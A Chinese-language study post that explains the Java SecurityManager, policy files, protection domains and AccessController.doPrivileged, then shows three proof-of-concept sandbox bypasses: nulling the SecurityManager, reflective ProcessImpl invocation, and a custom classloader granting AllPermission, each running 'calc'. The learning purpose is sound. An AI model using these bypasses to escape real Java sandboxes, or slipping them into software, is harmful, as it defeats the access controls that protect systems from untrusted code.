0x01 Java SecurityManager是什么 Java SecurityManager是为应用程序定义安全策略的对象,通过策略指定不安全或敏感的操作,安全策略不允许的任何操作都会抛出SecurityException
,应用程序可以查询其安全管理器允许的操作。
Java程序默认情况下都没有开启SecurityManager,如果开启了我们可以通过System.getSecurityManager
获取安全管理器java.lang.SecurityManager
对象,SecurityManager实现安全策略的管理,允许应用程序在执行可能敏感操作之前确定该操作是否被允许,应用程序可以允许或禁止该操作。
java.lang.SecurityManager
包含很多checkXXX形式的方法,checkXXX方法用于检查XXX操作的权限,权限主要分为以下几类:文件、套接字、网络、安全、运行时、属性、AWT、反射和序列化,对于管理这些权限的类是java.io.FilePermission
、 java.net.SocketPermission
、java.net.NetPermission
、 java.security.SecurityPermission
、 java.lang.RuntimePermission
、java.util.PropertyPermission
、 java.awt.AWTPermission
、 java.lang.reflect.ReflectPermission
、和 java.io.SerializablePermission
。
Java SecurityManager应用场景: 当运行未知Java程序,该程序可能有恶意代码(操作系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行代码的权限进行控制,就要启用Java安全管理器。
如何启动SecurityManager? 有两种方式启动:
启动参数方式:-Djava.security.manager
,若要同时指定配置文件的位置通过-Djava.security.manager -Djava.security.policy="E:/java.policy"
编码下创建SecurityManager实例来启动:
1 2 3 4 SecurityManager securityManager = new SecurityManager(); System.setSecurityManager(securityManager); System.setProperty("java.security.policy" , "file:/E:/myTest.policy" );
管理SecurityManager配置文件: 当配置文件没有被指定时,则会使用默认的安全策略配置文件$JAVA_HOME/jre/lib/security/java.policy
。
安全配置的基本原则如下:
1 2 3 4 1、没有配置的权限表示禁止。 2、只能配置允许的权限,不能配置禁止的操作。 3、同一种权限可多次配置,取并集。 4、同一资源的多种权限可用逗号分割。
以下是默认安全策略文件内容,分为两部分的授权,一是授权基于路径在”file:$/*”的class和jar包所有权限,二是针对权限的细粒度配置,可以参考每种类别的javadoc说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 grant codeBase "file:${{java.ext.dirs}}/*" { permission java.security.AllPermission; }; // default permissions granted to all domains // 定义了所有JAVA程序都拥有的权限,包括停止线程、启动Socket 服务器、读取部分系统属性 grant { permission java.lang.RuntimePermission "stopThread"; // allows anyone to listen on dynamic ports permission java.net.SocketPermission "localhost:0", "listen"; // "standard" properies that can be read by anyone permission java.util.PropertyPermission "java.version", "read"; permission java.util.PropertyPermission "java.vendor", "read"; permission java.util.PropertyPermission "java.vendor.url", "read"; ...... permission java.util.PropertyPermission "java.specification.version", "read"; permission java.util.PropertyPermission "java.specification.vendor", "read"; permission java.util.PropertyPermission "java.specification.name", "read"; permission java.util.PropertyPermission "java.vm.specification.version", "read"; permission java.util.PropertyPermission "java.vm.specification.vendor", "read"; ...... };
通过一个例子理解SecurityManager的作用 下面是一个通过SecurityManager配置授予指定文件读写权限的例子,只有授予文件权限才允许被读或写(代码放在GitHub了),CreatePolicy文件用来创建一个策略配置文件,也可以通过手动创建,TestFilePolicy用来测试文件读写权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 public class CreatePolicy { public static void main (String[] args) { CreatePolicy createPolicy = new CreatePolicy(); createPolicy.createFile("E:/myTest.policy" ,"E:\\test.txt" ); } protected void createFile (String policyFileName, String allowFileName) { allowFileName = allowFileName.replace("\\" , "/" ); String policyContent = "grant {\n" + " permission java.io.FilePermission \"" + allowFileName + "\",\"read,write\";\n" + "};" ; try { FileWriter fileWriter = new FileWriter(policyFileName); fileWriter.write(policyContent); fileWriter.flush(); fileWriter.close(); } catch (IOException e) { e.printStackTrace(); } } } public class TestFilePolicy { public static void main (String[] args) { String policyFileName = "E:/fileTest.policy" ; String allowFileName = "E:/test.txt" ; CreatePolicy createPolicy = new CreatePolicy(); createPolicy.createFile(policyFileName, allowFileName); System.setProperty("java.security.policy" , "file:/" + policyFileName); SecurityManager securityManager = new SecurityManager(); System.setSecurityManager(securityManager); try { securityManager.checkWrite(allowFileName); write(new File(allowFileName)); System.out.println("file write ok" ); } catch (Throwable e) { System.out.println(e.getMessage()); } } private static void write (File file) throws Throwable { try { FileWriter fileWriter = new FileWriter(file); fileWriter.write("test" ); fileWriter.flush(); fileWriter.close(); } catch (IOException e) { e.printStackTrace(); } } }
执行上面代码,由于通过策略文件授予了E:/test.txt
文件的读写权限,应用可以成功写文件;如果删除注释中的1、2步骤,执行代码,由于没有配置安全管理器,应用可以任意写文件;如果删除System.setProperty("java.security.policy", "file:/" + policyFileName);
对策略文件的配置,使用默认策略,写文件会失败,因为默认配置文件没有授予文件写的权限。
因此通过上面这个例子,我们可以理解SecurityManager主要的作用就是配置权限,管理安全策略,防止不必要的授权。
0x02 AccessController 域模型: 参考:https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8#%E5%9F%9F%E6%A8%A1%E5%9E%8B
在当前最新的Java安全模型中,引入了 域(Domain)的概念。虚拟机会将所有代码加载到不同的域中。其中系统域负责和操作系统的资源进行交互,而各个应用域对系统资源的访问需要通过系统域的代理来实现受限访问。JVM中的不同域关联了不同的权限,处于域中的类将拥有这个域所包含的所有权限。
在域模型中,为了实现权限控制,涉及到一些概念,包括:
代码源(code source):代码源表示类的来源URL地址,代码源由类加载器负责创建和管理。
权限(permission):封装特定操作的请求
策略(policy):策略是一组权限的总称,用于确定权限应该用于哪些代码源。
保护域(protection domain):封装代码和代码所拥有的权限,保护域可以理解为是代码源和权限映射关系的集合 ,一个类如果属于一个保护域,那么这个类将拥有这个域中的所有权限。
这里codeBase相当于制定了代码源 哪些代码,permission java.lang.FilePermission "read";
指定了代码源拥有的权限,而保护域会将多个code source和多个permission之间的关系进行映射
1 2 3 4 5 6 7 grant codeBase "file:/code/A/*" { permission java.lang.FilePermission "file1","read"; } grant codeBase "file:/code/B/*" { permission java.lang.FilePermission "file1","read,write"; }
上面策略对应的域如下:
AccessController.checkPermission
工作机制上面例子中通过securityManager.checkWrite(allowFileName);
检查文件的写权限,checkWrite方法调用checkPermission处理,最终委托给AccessController.checkPermission(perm);
检查。
1 2 3 4 5 6 7 public void checkWrite (String file) { checkPermission(new FilePermission(file, securityConstants.FILE_WRITE_ACTION)); } public void checkPermission (Permission perm) { java.security.AccessController.checkPermission(perm); }
AccessController判断权限的主体是调用者(Caller)。基于访问控制的规则,AccessController在进行权限判断的时候,它不仅仅检查当前Caller是否拥有权限,而是对整个调用链上的所有Caller进行权限检查。对调用链上的每个Caller,都会基于它们各自所属的ProtectionDomain中的权限集合进行检查。当满足下面的二个条件,则表示访问被授权: 1、在当前调用链上,从当前的Caller到初始Caller之间的所有Caller都能被各自所属的ProtectionDomain中的权限授权。 2、在当前调用链上,其中有一个Caller被标记为privilege并且被授权,同时接下来调用的过程中所有调用都能被各自的域授权。 如果上述的二点有任何一点不满足,则AccessController.checkPermission()
会抛出AccessControlException
。
AccessController.doPrivileged()授予特权 Caller如何被标记为privilege?可以调用AccessController.doPrivileged()临时授权。
将上面TestFilePolicy例子改写,上面的例子只有文件的写权限,我们需要临时用到读权限,通过doPrivileged满足。在main中添加调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 try { AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() { @Override public Void run () throws Exception { try { System.out.println("file read ok" ); read(new File(allowFileName)); } catch (Throwable throwable) { throwable.printStackTrace(); } return null ; } }); } catch (PrivilegedActionException e) { e.printStackTrace(); }
0x03 Java SecurityManager绕过 本次学习实验参考的https://github.com/codeplutos/java-security-manager-bypass。
1、通过授权RuntimePermission为setSecurityManager和设置SecurityManager为null,绕过check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class SetSecurityManagerNullBypass { public static void main (String[] args) { new SetSecurityManagerNullBypass().exec(); } private void exec () { System.setSecurityManager(null ); Runtime runtime = Runtime.getRuntime(); try { runtime.exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
2、通过反射权限执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class BypassByReflection { public static void main (String[] args) { exec("calc" ); } public static void exec (String command) { try { Runtime.getRuntime().exec(command); } catch (Exception e) { e.printStackTrace(); } } public static void executeCommandWithReflection (String command) { try { Class clz = Class.forName("java.lang.ProcessImpl" ); Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true ); method.invoke(clz, new String[]{command}, null , null , null , false ); } catch (Exception e) { e.printStackTrace(); } } }
3、通过赋予加载器权限,自定义加载器来执行恶意代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 public class BypassByClassloader { public static void main (String[] args) { MyClassLoader mcl = new MyClassLoader(); try { Class<?> c1 = Class.forName("com.r17a.commonvuln.securitymiconfig.securitymanager.Evil" , true , mcl); Object obj = c1.newInstance(); System.out.println(obj.getClass().getClassLoader()); } catch (ClassNotFoundException | IllegalAccessException | InstantiationException e) { e.printStackTrace(); } } } class Evil { public Evil () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } } class MyClassLoader extends ClassLoader { public MyClassLoader () { } public MyClassLoader (ClassLoader parent) { super (parent); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { File file = getClassFile(name); try { byte [] bytes = getClassBytes(file); return defineClazz(name, bytes, 0 , bytes.length); } catch (Exception e) { e.printStackTrace(); } return super .findClass(name); } protected final Class<?> defineClazz(String name, byte [] b, int off, int len) throws ClassFormatError { try { PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain pd = new ProtectionDomain(new CodeSource(null , (Certificate[]) null ), pc, this , null ); return this .defineClass(name, b, off, len, pd); } catch (Exception e) { return null ; } } private File getClassFile (String name) { File file = new File("./" + name + ".class" ); return file; } private byte [] getClassBytes(File file) throws Exception { FileInputStream fis = new FileInputStream(file); FileChannel fc = fis.getChannel(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); WritableByteChannel wbc = Channels.newChannel(baos); ByteBuffer by = ByteBuffer.allocate(1024 ); while (true ) { int i = fc.read(by); if (i == 0 || i == -1 ) { break ; } by.flip(); wbc.write(by); by.clear(); } fis.close(); return baos.toByteArray(); } }
0x04 参考链接: 1 2 3 4 5 6 7 https://docs.oracle.com/javase/tutorial/essential/environment/security.html https://docs.oracle.com/javase/8/docs/api/java/lang/SecurityManager.html https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html https://c0d3p1ut0s.github.io/%E6%94%BB%E5%87%BBJava%E6%B2%99%E7%AE%B1/ https://github.com/codeplutos/java-security-manager-bypass https://docs.oracle.com/javase/8/docs/technotes/guides/security/doprivileged.html https://tech101.cn/2019/08/15/AccessController%E7%9A%84doPrivileged%E6%96%B9%E6%B3%95%E7%9A%84%E4%BD%9C%E7%94%A8